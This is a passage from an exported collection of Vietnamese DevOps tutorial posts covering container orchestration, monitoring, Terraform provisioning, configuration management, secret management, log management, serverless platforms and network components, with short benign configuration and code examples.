các kỹ sư DevOps. Nhiều tổ chức đã thành lập đội ngũ Platform Engineering chuyên về Kubernetes để hỗ trợ các nhóm phát triển sản phẩm.\nTài nguyên miễn phí hữu ích:\nLộ trình Kubernetes chuyên sâu Trang web chính thức của Kubernetes Tổng quan về Kubernetes Khóa học Kubernetes hoàn chỉnh - Từ cơ bản đến nâng cao Ví dụ:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 apiVersion: apps/v1 kind: Deployment metadata: name: my-app spec: replicas: 3 selector: matchLabels: app: my-app template: metadata: labels: app: my-app spec: containers: - name: my-app image: my-app-image:latest GKE / EKS / AKS GKE - Google Kubernetes Engine Google Kubernetes Engine (GKE) là dịch vụ Kubernetes được quản lý bởi Google Cloud. Nó giúp triển khai, quản lý và mở rộng ứng dụng container với Kubernetes mà không cần tự quản lý cụm máy chủ.\nEKS - Amazon Elastic Kubernetes Service Amazon Elastic Kubernetes Service (EKS) là dịch vụ Kubernetes được AWS cung cấp. Nó tự động quản lý control plane của Kubernetes và tích hợp với các dịch vụ AWS khác.\nAKS - Azure Kubernetes Service Azure Kubernetes Service (AKS) là dịch vụ Kubernetes của Microsoft Azure. AKS hỗ trợ giám sát, bảo mật, mở rộng tự động và tích hợp với Azure DevOps.\nTài nguyên miễn phí hữu ích:\nGoogle Kubernetes Engine (GKE) Amazon Elastic Kubernetes Service (EKS) Azure Kubernetes Service (AKS) Hướng dẫn AWS EKS Google Kubernetes Engine là gì? ECS / Fargate ECS là dịch vụ quản lý container chạy trên EC2 của AWS, cho phép kiểm soát hạ tầng máy chủ.\nFargate là dịch vụ quản lý container serverless, giúp chạy container mà không cần quản lý máy chủ hoặc cụm máy.\nTài nguyên miễn phí hữu ích:\nTài liệu AWS Fargate Tài liệu AWS ECS Tổng quan về AWS Fargate Hướng dẫn AWS ECS Ví dụ:\n1 2 3 4 5 6 7 8 9 10 11 { \u0026#34;family\u0026#34;: \u0026#34;my-task\u0026#34;, \u0026#34;containerDefinitions\u0026#34;: [ { \u0026#34;name\u0026#34;: \u0026#34;my-container\u0026#34;, \u0026#34;image\u0026#34;: \u0026#34;my-container-image:latest\u0026#34;, \u0026#34;memory\u0026#34;: 512, \u0026#34;cpu\u0026#34;: 256 } ] } Docker Swarm Docker Swarm là tập hợp các máy (vật lý hoặc ảo) chạy Docker và được cấu hình thành một cụm (cluster). Quản lý cụm được thực hiện bởi swarm manager, và các máy tham gia cụm được gọi là nodes.\nTài nguyên hữu ích:\nTài liệu Docker Swarm Quản lý Docker Swarm với Portainer Tạo Docker Swarm với bộ nhớ lưu trữ GlusterFS Giới thiệu Docker Swarm | Hướng dẫn từng bước Ví dụ:\n1 2 3 4 5 // Khởi tạo Swarm $ docker swarm init // Triển khai dịch vụ trên Swarm $ docker service create --name web -p 80:80 nginx Kết luận Container orchestration đóng vai trò quan trọng trong việc quản lý ứng dụng container, giúp đơn giản hóa vận hành, tối ưu tài nguyên và tăng cường tính sẵn sàng. Các công cụ như Kubernetes, Docker Swarm, ECS, Fargate cung cấp nhiều giải pháp linh hoạt cho các doanh nghiệp hiện đại. Việc lựa chọn công cụ phù hợp sẽ giúp doanh nghiệp tận dụng tối đa sức mạnh của container hóa và điện toán đám mây.\nBước tiếp theo: Tìm hiểu về Application Monitoring theo dõi, đo lường và phân tích hiệu suất, trạng thái và hành vi của ứng dụng để phát hiện sự cố, tối ưu hóa hiệu suất và đảm bảo trải nghiệm người dùng tốt. Các công cụ phổ biến như Prometheus, Grafana, Datadog, New Relic giúp thu thập dữ liệu từ ứng dụng, máy chủ và hạ tầng để cung cấp cảnh báo và báo cáo chi tiết.\n","date":"24/02/2025","image":"https://tech.nguuyen.io.vn/images/devops/devops-step-seventeen.webp","permalink":"/vi/posts/devops/devops-step-seventeen/","summary":"Container orchestration là quá trình quản lý và tự động hóa vòng đời container, giúp đảm bảo tính khả dụng, khả năng mở rộng và độ tin cậy cho ứng dụng bằng cách sử dụng các công cụ như Kubernetes, Docker Swarm và Apache Mesos.","tags":["devops","container"],"title":"Container Orchestration"},{"categories":["DevOps"],"content":"Giám sát hạ tầng (Infrastructure Monitoring) là gì? Giám sát hạ tầng là quá trình theo dõi hiệu suất và trạng thái của hệ thống, giúp phát hiện sự cố kịp thời và tối ưu hóa hoạt động. Đây là một lĩnh vực rộng lớn với nhiều công cụ khác nhau, mỗi công cụ có ưu nhược điểm riêng. Hiểu rõ các công cụ này sẽ giúp bạn chọn giải pháp phù hợp với mục tiêu giám sát của mình.\nCác công cụ giám sát phổ biến Grafana Giới thiệu: Grafana là một ứng dụng web mã nguồn mở chuyên dùng để phân tích dữ liệu và trực quan hóa. Nó kết nối với nhiều nguồn dữ liệu khác nhau như cơ sở dữ liệu thời gian thực, cơ sở dữ liệu quan hệ và dịch vụ đám mây.\nTính năng nổi bật:\nTrực quan hóa dữ liệu mạnh mẽ với nhiều loại biểu đồ. Hỗ trợ nhiều plugin mở rộng. Hệ thống cảnh báo theo thời gian thực. Xác thực người dùng và kiểm soát truy cập theo vai trò. Ví dụ: Sử dụng Grafana để giám sát mức sử dụng CPU và RAM của hệ thống, giúp phát hiện và xử lý sự cố quá tải.\nTài nguyên hữu ích:\nTrang chủ Grafana Hướng dẫn cài đặt và sử dụng Prometheus Giới thiệu: Prometheus là một công cụ giám sát và cảnh báo mã nguồn mở, đặc biệt phù hợp với các hệ thống microservices và container hóa như Kubernetes.\nTính năng nổi bật:\nMô hình dữ liệu đa chiều. Hỗ trợ ngôn ngữ truy vấn PromQL mạnh mẽ. Cơ chế thu thập dữ liệu theo mô hình pull. Quản lý cảnh báo thông minh với Alertmanager. Ví dụ: Sử dụng Prometheus để thu thập và phân tích số lượng request đến một API, giúp xác định thời điểm tải cao và tối ưu hóa hiệu suất.\nTài nguyên hữu ích:\nTrang chủ Prometheus Giới thiệu về Prometheus Zabbix Giới thiệu: Zabbix là một nền tảng giám sát mã nguồn mở, hỗ trợ theo dõi toàn diện các thành phần trong hệ thống như máy chủ, mạng, ứng dụng và dịch vụ.\nTính năng nổi bật:\nHỗ trợ nhiều phương thức thu thập dữ liệu: Agent, SNMP, IPMI, script tùy chỉnh. Cảnh báo và thông báo theo thời gian thực. Hệ thống dashboard và báo cáo chi tiết. Mở rộng dễ dàng cho các môi trường lớn. Ví dụ: Sử dụng Zabbix để giám sát trạng thái của các server trong hệ thống, phát hiện downtime và gửi cảnh báo ngay lập tức.\nTài nguyên hữu ích:\nTrang chủ Zabbix Hướng dẫn sử dụng Zabbix Kết luận Mỗi công cụ giám sát có ưu điểm riêng:\nGrafana: Mạnh về trực quan hóa dữ liệu. Prometheus: Phù hợp với môi trường container và microservices. Zabbix: Giải pháp giám sát tổng thể cho hệ thống lớn. Tùy vào nhu cầu cụ thể, bạn có thể kết hợp nhiều công cụ để xây dựng hệ thống giám sát tối ưu cho mình.\nBước tiếp theo: Tìm hiểu về Logs Management quá trình thu thập, lưu trữ, xử lý và phân tích log từ các hệ thống, ứng dụng và thiết bị nhằm theo dõi hoạt động, phát hiện sự cố, đảm bảo bảo mật và hỗ trợ khắc phục sự cố nhanh chóng.\n","date":"24/02/2025","image":"https://tech.nguuyen.io.vn/images/devops/devops-step-fifteen.webp","permalink":"/vi/posts/devops/devops-step-fifteen/","summary":"Giám sát hạ tầng là quá trình theo dõi hiệu suất và trạng thái hệ thống nhằm phát hiện sự cố, tối ưu hóa hoạt động và lựa chọn công cụ phù hợp với mục tiêu giám sát.","tags":["devops"],"title":"Giám sát hạ tầng (Infrastructure Monitoring)"},{"categories":["DevOps"],"content":"Provisioning là gì? Provisioning đề cập đến quá trình thiết lập và cấu hình hạ tầng CNTT cần thiết để hỗ trợ ứng dụng hoặc dịch vụ. Điều này bao gồm việc phân bổ và chuẩn bị tài nguyên như máy chủ, lưu trữ, mạng và môi trường phần mềm.\nMặc dù provisioning có thể được thực hiện thủ công, nhưng trong DevOps hiện đại, quá trình này thường được tự động hóa bằng các công cụ như Terraform, Pulumi, CloudFormation. Việc sử dụng Infrastructure-as-Code (IaC) giúp định nghĩa toàn bộ quy trình provisioning trong các tệp script được quản lý phiên bản, giúp đảm bảo tính nhất quán, giảm lỗi do con người và cải thiện khả năng mở rộng, phục hồi sau thảm họa.\nTài nguyên miễn phí để tìm hiểu:\nWhat is provisioning? - RedHat What is provisioning? - IBM Open Answers: What is provisioning? Terraform - Giải pháp IaC mạnh mẽ Terraform là công cụ Infrastructure-as-Code (IaC) mã nguồn mở do HashiCorp phát triển, giúp định nghĩa, triển khai và quản lý hạ tầng trên đa đám mây hoặc on-premises bằng các tập tin cấu hình khai báo (declarative).\nLợi ích khi sử dụng Terraform Hỗ trợ đa nền tảng: AWS, Azure, Google Cloud, Kubernetes, v.v. Quản lý trạng thái (state management): Giúp theo dõi tài nguyên hạ tầng. Khả năng mở rộng và tái sử dụng: Dễ dàng modular hóa cấu hình. Tích hợp CI/CD: Tự động hóa triển khai hạ tầng.\nVí dụ: Tạo một EC2 instance trên AWS 1 2 3 4 5 6 7 8 9 10 11 provider \u0026#34;aws\u0026#34; { region = \u0026#34;us-east-1\u0026#34; } resource \u0026#34;aws_instance\u0026#34; \u0026#34;web\u0026#34; { ami = \u0026#34;ami-12345678\u0026#34; instance_type = \u0026#34;t2.micro\u0026#34; tags = { Name = \u0026#34;Terraform-Instance\u0026#34; } } Tài nguyên miễn phí để tìm hiểu:\nLộ trình Terraform chi tiết Khóa học Terraform hoàn chỉnh Tài liệu chính thức của Terraform Cách mở rộng hạ tầng Terraform Khám phá các bài viết hàng đầu về Terraform AWS CDK - Một sự thay thế? AWS Cloud Development Kit (AWS CDK) là framework mã nguồn mở để provisioning hạ tầng AWS bằng mã trong các ngôn ngữ như TypeScript, Python, Java, C#, Go. AWS CDK sử dụng CloudFormation để triển khai tài nguyên một cách an toàn và có thể lặp lại.\nTài nguyên miễn phí để tìm hiểu:\nKhóa học AWS CDK cho người mới bắt đầu Tài liệu chính thức của AWS CDK Các ví dụ về AWS CDK Khám phá các bài viết hàng đầu về AWS Kết luận Terraform là công cụ hàng đầu cho Infrastructure-as-Code, mang đến sự linh hoạt và khả năng tự động hóa mạnh mẽ trên nhiều nền tảng cloud khác nhau. Nếu bạn làm việc nhiều với AWS và muốn triển khai bằng các ngôn ngữ lập trình, AWS CDK cũng là một lựa chọn đáng cân nhắc.\nTùy vào yêu cầu của dự án, bạn có thể lựa chọn công cụ phù hợp để quản lý hạ tầng hiệu quả hơn.\nBước tiếp theo: Tìm hiểu về Configuration Management quá trình quản lý, giám sát và tự động hóa cấu hình hệ thống, phần mềm và hạ tầng để đảm bảo tính nhất quán, ổn định và dễ dàng kiểm soát trong suốt vòng đời của chúng. Nó giúp theo dõi và kiểm soát thay đổi, giảm lỗi do cấu hình thủ công và hỗ trợ triển khai nhanh chóng. Các công cụ phổ biến bao gồm Ansible, Puppet, Chef và SaltStack.\n","date":"24/02/2025","image":"https://tech.nguuyen.io.vn/images/devops/devops-step-eleven.webp","permalink":"/vi/posts/devops/devops-step-eleven/","summary":"Provisioning là quá trình thiết lập và cấu hình hạ tầng công nghệ thông tin, bao gồm phân bổ tài nguyên như máy chủ, lưu trữ, mạng và phần mềm, thường được tự động hóa bằng hạ tầng dưới dạng mã để đảm bảo tính nhất quán, giảm lỗi và cải thiện khả năng mở rộng.","tags":["devops","terraform"],"title":"Infrastructure Provisioning với Terraform"},{"categories":["DevOps"],"content":"Quản lý cấu hình (Configuration Management) Quản lý cấu hình là quy trình quản lý và duy trì tính nhất quán của các thành phần trong hệ thống công nghệ thông tin. Trong lĩnh vực phần mềm, nó bao gồm việc giám sát, theo dõi và quản lý các thay đổi cấu hình của hệ thống trong suốt vòng đời sản phẩm. Việc áp dụng quản lý cấu hình giúp tăng tính đồng bộ, giảm nguy cơ lỗi, và đảm bảo sự tuân thủ các tiêu chuẩn trong quy trình CI/CD (Continuous Integration and Continuous Deployment).\nCác công cụ quản lý cấu hình phổ biến Ansible Ansible là một công cụ tự động hóa mở, chủ yếu dùng cho quản lý cấu hình, triển khai ứng dụng và tự động hóa tác vụ.\nĐặc điểm:\nSử dụng YAML (playbooks) để xác định trạng thái mong muốn. Hoạt động không cần cài đặt agent. Phù hợp với quy mô nhỏ đến lớn. Ví dụ sử dụng Ansible:\n1 2 3 4 5 6 7 8 9 10 11 12 - name: Cài đặt và khởi động Nginx hosts: all become: yes tasks: - name: Cài đặt Nginx apt: name: nginx state: present - name: Khởi động Nginx service: name: nginx state: started Tài nguyên miễn phí hữu ích:\nKhóa học Ansible đầy đủ cho người mới bắt đầu Trang web chính thức của Ansible Ansible trong 100 giây Chef Chef (hiện thuộc Progress Chef) là một trong những công cụ quản lý cấu hình đầu tiên. Nó sử dụng ngôn ngữ Ruby và đề cao tính idempotence (đảm bảo chạy n nhiều lần vẫn cùng kết quả).\nĐặc điểm:\nDựa trên client/server. Có Chef-Solo cho triển khai độc lập. Phù hợp với môi trường doanh nghiệp. Ví dụ sử dụng Chef:\n1 2 3 4 5 6 7 package \u0026#39;nginx\u0026#39; do action :install end service \u0026#39;nginx\u0026#39; do action [:enable, :start] end Tài nguyên miễn phí hữu ích:\nTrang web chính thức của Chef Hướng dẫn Chef Video hướng dẫn Chef Puppet Puppet là một công cụ quản lý cấu hình theo mô hình declarative, hoạt động theo kiểu client/server và hỗ trợ nhiều hệ điều hành.\nĐặc điểm:\nQuản lý quy mô lớn. Kiểm tra và áp dụng cấu hình định kỳ. Tích hợp với nhiều công cụ DevOps. Ví dụ sử dụng Puppet:\n1 2 3 4 5 6 7 8 package { \u0026#39;nginx\u0026#39;: ensure =\u0026gt; installed, } service { \u0026#39;nginx\u0026#39;: ensure =\u0026gt; running, enable =\u0026gt; true, } Tài nguyên miễn phí hữu ích:\nKhóa học Puppet đầy đủ Trang web chính thức của Puppet Bài viết hay về Puppet Kết luận Quản lý cấu hình là một yếu tố quan trọng trong quy trình DevOps, giúp đảm bảo hệ thống hoạt động nhất quán, giảm thiểu lỗi và nâng cao độ tin cậy. Tùy thuộc vào nhu cầu và quy mô, doanh nghiệp có thể chọn Ansible, Chef hoặc Puppet để quản lý hạ tầng một cách hiệu quả.\nBước tiếp theo: Tìm hiểu về Continuous Integration and Continuous Deployment (CI/CD), là quy trình tự động hóa trong phát triển phần mềm giúp tích hợp, kiểm thử và triển khai ứng dụng một cách liên tục.\n","date":"24/02/2025","image":"https://tech.nguuyen.io.vn/images/devops/devops-step-twelve.webp","permalink":"/vi/posts/devops/devops-step-twelve/","summary":"Quản lý cấu hình là quy trình giám sát và duy trì tính nhất quán của hệ thống công nghệ thông tin trong suốt vòng đời sản phẩm, giúp đồng bộ hóa, giảm lỗi và đảm bảo tuân thủ các tiêu chuẩn trong quy trình tích hợp và triển khai liên tục.","tags":["devops","cloud"],"title":"Quản lý cấu hình (Configuration Management)"},{"categories":["DevOps"],"content":"Secret Management là gì? Secret Management là quá trình bảo vệ, lưu trữ và phân phối an toàn các thông tin nhạy cảm như mật khẩu, khóa API và chứng chỉ trong hệ thống công nghệ thông tin của tổ chức. Nó giúp ngăn chặn truy cập trái phép đồng thời đảm bảo các hệ thống và người dùng được ủy quyền có thể sử dụng thông tin khi cần thiết.\nSecret Management thường bao gồm các tính năng:\nMã hóa dữ liệu khi lưu trữ và truyền tải. Kiểm soát truy cập, chỉ cho phép người hoặc hệ thống có quyền mới được truy cập. Cơ chế quay vòng khóa để thay đổi mật khẩu định kỳ. Tích hợp với các hệ thống DevOps để tự động hóa quy trình bảo mật. Tham khảo thêm:\nCách quản lý bí mật trong ứng dụng web Tại sao DevSecOps cần quản lý bí mật Mẹo DevOps để quản lý bí mật trong môi trường sản xuất HashiCorp Vault HashiCorp Vault là công cụ quản lý bí mật giúp bảo vệ dữ liệu nhạy cảm như mật khẩu, khóa API và khóa mã hóa.\nĐặc điểm nổi bật: Quản lý tập trung giúp dễ dàng kiểm soát các bí mật. Hỗ trợ nhiều phương thức xác thực như LDAP, Kubernetes. Cung cấp bí mật động (Dynamic Secrets) giúp tạo bí mật tạm thời khi cần. Mã hóa dữ liệu mạnh mẽ khi lưu trữ và truyền tải. Ví dụ:\nLưu trữ và quản lý chứng chỉ TLS cho một cấu trúc microservices.\nTích hợp với Kubernetes để cấp bí mật động cho Pod mỗi khi khởi chạy.\nTạo mật khẩu tạm thời cho cơ sở dữ liệu nhằm giảm rủi ro bị lộ thông tin.\nVí dụ thực tế: Cấp mật khẩu động cho PostgreSQL bằng Vault\nGiả sử bạn có một cơ sở dữ liệu PostgreSQL và muốn cấp tài khoản tạm thời:\n1 vault write database/creds/postgres-role Lệnh này sẽ tạo một tài khoản mới với thời gian tồn tại giới hạn.\nSử dụng Vault để quản lý khóa API trong ứng dụng Node.js\nBạn có thể truy xuất khóa API từ Vault trong mã nguồn của mình:\n1 2 3 const { execSync } = require(\u0026#39;child_process\u0026#39;); const secret = execSync(\u0026#39;vault kv get -field=value secret/my-api-key\u0026#39;).toString(); console.log(`API Key: ${secret}`); Tài nguyên hữu ích:\nTrang chủ HashiCorp Vault Mã nguồn HashiCorp Vault trên GitHub Giới thiệu HashiCorp Vault trong 180 giây Hướng dẫn HashiCorp Vault cho người mới bắt đầu Công cụ quản lý khoá bí mật trên Cloud AWS Secrets Manager Cung cấp dịch vụ lưu trữ và quản lý bí mật an toàn trên AWS với khả năng tự động quay vòng mật khẩu và tích hợp với các dịch vụ AWS khác.\nGoogle Cloud Secret Manager Giải pháp quản lý bí mật trên Google Cloud, cho phép tự động xoay vòng mật khẩu và kiểm soát truy cập dễ dàng.\nAzure Key Vault Dịch vụ của Microsoft Azure giúp lưu trữ và quản lý khóa, mật khẩu và chứng chỉ số an toàn.\nVí dụ:\nAWS Secrets Manager: Lưu trữ API key của một ứng dụng web, đảm bảo API key không bị lộ trong mã nguồn.\nHashiCorp Vault: Quản lý mật khẩu truy cập vào cơ sở dữ liệu PostgreSQL.\nAzure Key Vault: Lưu trữ và bảo mật các khóa mã hóa của ứng dụng.\nVí dụ thực tế: Sử dụng AWS Secrets Manager để quản lý khóa API\nGiả sử bạn có một ứng dụng web cần truy cập vào dịch vụ bên thứ ba thông qua API key. Thay vì lưu trữ khóa API trong mã nguồn, bạn có thể lưu trữ nó trong AWS Secrets Manager và gọi nó khi cần:\n1 aws secretsmanager get-secret-value --secret-id my-api-key Tạo bí mật động với HashiCorp Vault\nHashiCorp Vault có thể tạo mật khẩu tạm thời cho cơ sở dữ liệu, giúp tăng cường bảo mật. Ví dụ, bạn có thể tạo một tài khoản tạm thời cho PostgreSQL:\n1 vault write database/creds/my-role Tài nguyên hữu ích:\nAWS Secrets Manager – Dịch vụ quản lý bí mật của AWS Google Cloud Secret Manager – Dịch vụ quản lý bí mật của Google Cloud Azure Key Vault – Dịch vụ quản lý khóa và bí mật của Azure Demo AWS Secrets Manager – Hướng dẫn sử dụng AWS Secrets Manager Google Cloud Secret Manager – Giới thiệu Google Cloud Secret Manager Azure Key Vault và cách sử dụng – Hướng dẫn sử dụng Azure Key Vault Sealed Secrets Sealed Secrets là một công cụ cho Kubernetes giúp mã hóa dữ liệu nhạy cảm thành các SealedSecrets, có thể lưu trữ an toàn ngay cả trong môi trường công khai như GitHub.\nCách hoạt động: Mã hóa: Người dùng tạo một SealedSecret từ Kubernetes Secret. Lưu trữ: SealedSecret có thể được commit vào Git. Giải mã: Chỉ có Kubernetes Controller trong cluster mới có thể giải mã và khôi phục thành Kubernetes Secret thông thường. Điểm nổi bật:\nSử dụng mã hóa bất đối xứng đảm bảo chỉ controller có thể giải mã dữ liệu. Hỗ trợ GitOps giúp quản lý bí mật trong repository Git an toàn. Dễ dàng tích hợp với Kubernetes để bảo vệ dữ liệu nhạy cảm. Tài nguyên hữu ích:\nSealed Secrets trên GitHub Tài liệu Sealed Secrets Tích hợp Secret Management vào CI/CD Các công cụ CI/CD như Azure DevOps, Travis CI và AWS CodePipeline hỗ trợ quản lý bí mật bằng cách tích hợp với các hệ thống Secret Management để bảo vệ thông tin nhạy cảm trong quá trình triển khai.\nAzure DevOps Azure DevOps cung cấp Azure Key Vault để lưu trữ và quản lý bí mật an toàn. Các pipeline trong Azure DevOps có thể truy xuất bí mật từ Key Vault để sử dụng trong quá trình triển khai.\nTravis CI Travis CI hỗ trợ mã hóa biến môi trường, giúp bảo vệ khóa API và thông tin nhạy cảm trong quá trình build.\nAWS CodePipeline AWS CodePipeline có thể tích hợp với AWS Secrets Manager để truy xuất bí mật trong quá trình triển khai ứng dụng.\nKết luận Quản lý bí mật đóng vai trò quan trọng trong bảo mật hệ thống hiện đại. Việc sử dụng các công cụ như HashiCorp Vault, AWS Secrets Manager, Google Cloud Secret Manager, Azure Key Vault, Sealed Secrets, Azure DevOps, Travis CI và AWS CodePipeline giúp đảm bảo an toàn cho thông tin nhạy cảm, hỗ trợ triển khai DevOps an toàn và tuân thủ các tiêu chuẩn bảo mật.\nBước tiếp theo: Giám sát hạ tầng Infrastructure Monitoring quá trình theo dõi và phân tích hiệu suất, tính sẵn sàng và trạng thái của các thành phần hạ tầng công nghệ thông tin như máy chủ, mạng, lưu trữ, cơ sở dữ liệu và dịch vụ điện toán đám mây, giúp phát hiện sớm sự cố, tối ưu hóa tài nguyên và đảm bảo hệ thống hoạt động ổn định.\n","date":"24/02/2025","image":"https://tech.nguuyen.io.vn/images/devops/devops-step-fourteen.webp","permalink":"/vi/posts/devops/devops-step-fourteen/","summary":"Secret Management quá trình lưu trữ, quản lý và bảo vệ các thông tin nhạy cảm như mật khẩu, khóa API, chứng chỉ và token truy cập để ngăn chặn rò rỉ dữ liệu và đảm bảo bảo mật hệ thống.","tags":["devops","secret"],"title":"Quản lý khoá bí mật (Secret Management)"},{"categories":["DevOps"],"content":"Quản lý logs là gì? Quản lý logs là quá trình thu thập, tổng hợp, phân tích, lưu trữ và truy xuất logs từ các ứng dụng và hệ thống hạ tầng. Logs chứa thông tin quan trọng về hoạt động của hệ thống, giúp phát hiện sự cố, tối ưu hóa hiệu suất và đảm bảo tuân thủ bảo mật.\nCác công cụ quản lý logs phổ biến Elastic Stack (ELK Stack) Giới thiệu: Elastic Stack, trước đây gọi là ELK Stack, bao gồm Elasticsearch (công cụ tìm kiếm và phân tích), Logstash (xử lý dữ liệu), Kibana (trực quan hóa) và Beats (thu thập dữ liệu). Đây là giải pháp phổ biến để quản lý logs với khả năng mở rộng cao.\nTính năng nổi bật:\nTìm kiếm và phân tích logs theo thời gian thực. Hỗ trợ nhiều định dạng dữ liệu khác nhau. Khả năng mở rộng tốt với môi trường doanh nghiệp. Cung cấp giao diện trực quan với Kibana. Sử dụng Elastic Stack để thu thập logs từ các máy chủ web, phân tích lỗi và tạo dashboard giám sát lưu lượng truy cập.\nTài nguyên hữu ích:\nTrang chủ Elastic Stack Tổng quan về Elastic Stack Loki Giới thiệu: Loki là hệ thống thu thập logs do Grafana Labs phát triển, tối ưu cho Kubernetes và container. Loki không lưu trữ toàn bộ logs mà chỉ lập chỉ mục metadata, giúp tiết kiệm tài nguyên.\nTính năng nổi bật:\nTích hợp chặt chẽ với Grafana. Sử dụng LogQL, ngôn ngữ truy vấn tương tự PromQL. Tối ưu cho môi trường Kubernetes và container. Tiết kiệm tài nguyên so với các giải pháp khác. Sử dụng Loki để theo dõi logs từ các container trong Kubernetes, giúp phát hiện lỗi ứng dụng nhanh chóng.\nTài nguyên hữu ích:\nTrang chủ Loki Tài liệu Loki Graylog Giới thiệu: Graylog là nền tảng quản lý logs mã nguồn mở, hỗ trợ thu thập, lưu trữ và phân tích logs theo thời gian thực. Hệ thống này cung cấp giao diện web thân thiện và hỗ trợ nhiều loại dữ liệu logs khác nhau.\nTính năng nổi bật:\nHỗ trợ nhiều giao thức thu thập logs như Syslog, GELF. Giao diện tìm kiếm mạnh mẽ. Tích hợp tính năng cảnh báo khi phát hiện sự cố. Hỗ trợ truy vấn logs theo thời gian thực. Sử dụng Graylog để theo dõi logs từ các hệ thống bảo mật, giúp phát hiện hành vi xâm nhập trái phép.\nTài nguyên hữu ích:\nTrang chủ Graylog Hướng dẫn sử dụng Graylog Ví dụ về mã nguồn Dưới đây là cách gửi logs đến một hệ thống thu thập logs bằng JavaScript:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 const winston = require(\u0026#39;winston\u0026#39;); const logger = winston.createLogger({ level: \u0026#39;info\u0026#39;, format: winston.format.json(), transports: [ new winston.transports.Console(), new winston.transports.File({ filename: \u0026#39;app.log\u0026#39; }) ] }); // Ghi log logger.info(\u0026#39;Ứng dụng đã khởi động thành công\u0026#39;); logger.warn(\u0026#39;Cảnh báo: Dữ liệu đầu vào không hợp lệ\u0026#39;); logger.error(\u0026#39;Lỗi: Không thể kết nối cơ sở dữ liệu\u0026#39;); Kết luận Quản lý logs đóng vai trò quan trọng trong việc giám sát hệ thống và xử lý sự cố nhanh chóng. Các công cụ như Elastic Stack, Loki, và Graylog cung cấp giải pháp mạnh mẽ để thu thập, phân tích và trực quan hóa logs. Việc lựa chọn công cụ phù hợp sẽ giúp nâng cao hiệu quả vận hành hệ thống của bạn.\nBước tiếp theo: Tìm hiểu về Container Orchestration quá trình tự động quản lý, triển khai, mở rộng và điều phối các container trong môi trường hạ tầng, giúp đảm bảo tính sẵn sàng, khả năng mở rộng và tối ưu tài nguyên hệ thống. Các công cụ phổ biến cho Container Orchestration bao gồm Kubernetes, Docker Swarm và Apache Mesos.\n","date":"24/02/2025","image":"https://tech.nguuyen.io.vn/images/devops/devops-step-sixteen.webp","permalink":"/vi/posts/devops/devops-step-sixteen/","summary":"Quản lý logs là quá trình thu thập, lưu trữ, xử lý và phân tích log từ các hệ thống, ứng dụng và thiết bị nhằm theo dõi hoạt động, phát hiện sự cố, đảm bảo bảo mật và hỗ trợ khắc phục sự cố nhanh chóng.","tags":["devops","log"],"title":"Quản lý logs (Logs Management)"},{"categories":["DevOps"],"content":"Serverless là gì? Serverless là mô hình điện toán đám mây nơi nhà cung cấp dịch vụ quản lý hoàn toàn cơ sở hạ tầng, giúp lập trình viên chỉ cần tập trung vào viết mã. Hệ thống sẽ tự động phân bổ tài nguyên theo nhu cầu và chỉ tính phí dựa trên tài nguyên thực tế sử dụng. Kiến trúc serverless thường được áp dụng cho các ứng dụng microservices, xử lý sự kiện và giúp giảm thiểu chi phí vận hành.\nTài nguyên miễn phí để tìm hiểu:\nServerless là gì? Giới thiệu về Serverless Bài viết hay về Serverless AWS Lambda AWS Lambda là một dịch vụ serverless của AWS, cho phép chạy mã mà không cần quản lý máy chủ. Lambda tự động mở rộng theo nhu cầu, hỗ trợ nhiều ngôn ngữ lập trình và dễ dàng tích hợp với các dịch vụ khác của AWS. Nó phù hợp với xử lý dữ liệu, tự động hóa tác vụ, xây dựng microservices.\nVí dụ: Triển khai một function trên AWS Lambda\n1 2 3 4 5 6 import json def lambda_handler(event, context): return { \u0026#39;statusCode\u0026#39;: 200, \u0026#39;body\u0026#39;: json.dumps(\u0026#39;Hello from AWS Lambda!\u0026#39;) } Tài nguyên miễn phí để tìm hiểu:\nGiới thiệu AWS Lambda Hướng dẫn AWS Lambda từ A-Z Bài viết hay về AWS Lambda Cloudflare Cloudflare là một công ty cung cấp dịch vụ CDN, bảo mật, tối ưu hiệu suất cho website. Cloudflare đóng vai trò là proxy ngược, giúp tăng tốc tải trang và bảo vệ website khỏi các cuộc tấn công. Công ty được thành lập năm 2009 và lên sàn chứng khoán vào năm 2019.\nTài nguyên miễn phí để tìm hiểu:\nTrang chủ Cloudflare Giới thiệu về Cloudflare Bài viết hay về Cloudflare Vercel Vercel là nền tảng triển khai frontend giúp đưa các ứng dụng web lên cloud một cách nhanh chóng. Nó hỗ trợ React, Next.js, Vue, Angular, tích hợp với GitHub, và cho phép triển khai chỉ với một lệnh push.\nTài nguyên miễn phí để tìm hiểu:\nTrang chủ Vercel Tài liệu chính thức Vercel Hướng dẫn sử dụng Vercel Bài viết hay về Vercel Kết Luận Serverless giúp tự động hóa triển khai, giảm chi phí, dễ dàng mở rộng. Các nền tảng phổ biến:\nAWS Lambda: Xử lý sự kiện không cần máy chủ. Cloudflare: CDN và bảo mật website. Vercel: Triển khai frontend nhanh chóng. Việc lựa chọn nền tảng phụ thuộc vào nhu cầu, công nghệ và chi phí của bạn.\nBước tiếp theo: Tìm hiểu về Provisioning quá trình cung cấp và cấu hình tài nguyên (máy chủ, mạng, lưu trữ, tài khoản) để hệ thống hoặc ứng dụng có thể hoạt động hiệu quả.\n","date":"24/02/2025","image":"https://tech.nguuyen.io.vn/images/devops/devops-step-ten.webp","permalink":"/vi/posts/devops/devops-step-ten/","summary":"Serverless là mô hình điện toán đám mây nơi nhà cung cấp dịch vụ quản lý hạ tầng, tự động phân bổ tài nguyên theo nhu cầu và chỉ tính phí theo mức sử dụng, giúp lập trình viên tập trung vào viết mã và tối ưu vận hành.","tags":["devops","cloud"],"title":"Serverless và các nền tảng liên quan "},{"categories":["DevOps"],"content":"Thiết lập các thành phần mạng quan trọng Bài viết này sẽ giúp bạn biết các thành phần mạng quan trọng:\nForward Proxy\nReverse Proxy\nLoad Balancer\nFirewall\nCaching Server\nWeb Server\nLoad Balancer Load Balancer hoạt động như một \u0026ldquo;cảnh sát giao thông\u0026rdquo; đứng trước các máy chủ và điều hướng yêu cầu từ khách hàng đến các máy chủ phù hợp. Điều này giúp tối ưu hóa tốc độ, tận dụng tài nguyên hiệu quả và tránh tình trạng quá tải.\nNếu một máy chủ bị lỗi, Load Balancer sẽ chuyển hướng lưu lượng sang các máy chủ còn lại.\nCó thể triển khai với các thuật toán như Round Robin, Least Connections, IP Hash\u0026hellip;\nVí dụ cấu hình Load Balancer với Nginx: 1 2 3 4 5 6 7 8 9 10 11 upstream backend_servers { server backend1.example.com; server backend2.example.com; } 